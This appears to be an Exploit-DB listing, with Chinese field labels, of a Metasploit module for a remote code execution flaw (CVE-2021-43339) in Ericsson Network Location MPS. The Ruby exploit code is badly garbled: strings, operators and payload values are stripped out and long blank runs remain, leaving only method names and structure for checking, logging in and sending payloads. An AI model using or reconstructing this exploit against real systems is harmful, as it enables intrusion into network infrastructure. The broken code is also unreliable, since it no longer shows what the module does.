标题: Ericsson Network Location MPS GMPC21 - Remote Code Execution (RCE) (Metasploit) EDB-ID: 50468 CVE: 2021-43339 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-11-02 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ericsson Network Location MPS - Restrictions Bypass RCE (Meow Variant)',
           
                
         
      
               
           
        
           
           
           
           
        
            
              
        
            
                  
                
            
                
            
        
       
        
      
            
              
            
        
              
                  
                
        
         
    
    register_options 
     
           
            
    
  
  
  
  
  
  
  
  
  
  
  
  
  
  

  
   peer
    
  
  
   data string_to_split  
    word  data
    string  word
     string
    
  
   cluster
  
    res  
    
            target_uripath     
       
      
  
     res  rescode    resbody  
      cls_version  resbody 
      cls_node_type  resbody 
      cls_name  resbody 
      cls_id  cls_version    cls_node_type    cls_name
       cls_version cls_node_type cls_name cls_id
    
       
     
  
  
   token
    
    json_urls  
    parse  json_urls
    cls_id  cluster
    cls_node_type  cluster
  
    i  
     i   
       link  parse
       i 
       
       
        link  
   
       
       filename  
     
       res  
               target_uripath     cls_id cls_node_type link  filename
          
        
           
           token
               
           
         
     
        res  rescode    
   
        res  rescode   
    link  
        res  rescode   
    link            
        res  rescode   
                  
              
    
  

   check
    
    token  datastore datastore
    res  
      
            target_uripath     cluster  
       
     
        
        token
            
        
        
  
     res  rescode    resbody  
    version  resbody 
    pnumber  resbody 
        
       
    
       
    
  
  
   user pass
  
    json_login    datastore    datastore  
  
    res  
      
        
         
        target_uripath      
       
        
            
        
        json_login
        
    
     res  rescode    resbody  
      auth_token  resbody 
       auth_token
    
       
         
  
  
   token link
    fifo  
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        
        

  
  payloads     
        
  payloads      
  
  payloads     
  
  payloads     
  
  payloads     
  
  payloads     
  
  payloads     
  
  payloads     
        
  payloads     
        
  payloads      
  
  payloads     
  
  payloads     
  
  payloads     
  
  payloads     
  
  payloads     
  
  payloads        
  
  payloads      
  
    payloads      
  
  payloads       
  
  payloads     
  
  payloads         
  
   link  
    
     
  
        parse  payloads
  cls_id  cluster
  cls_node_type  cluster
  i  
   i   
     pay  parse
     i 
      link  
           
           
           cls_id cls_node_type token link pay          
      
  
  
  
   id type token link pay 

    res  
            target_uripath     id type link   pay
       
     
        
        token
            
        
          
  
  

  
  
  
   exploit
   
       check
       
    
    auth_token  datastore datastore
       auth_token
       
     
      perm_link  auth_token
      
         
  
    auth_token perm_link URL: https://www.exploit-db.com/exploits/50468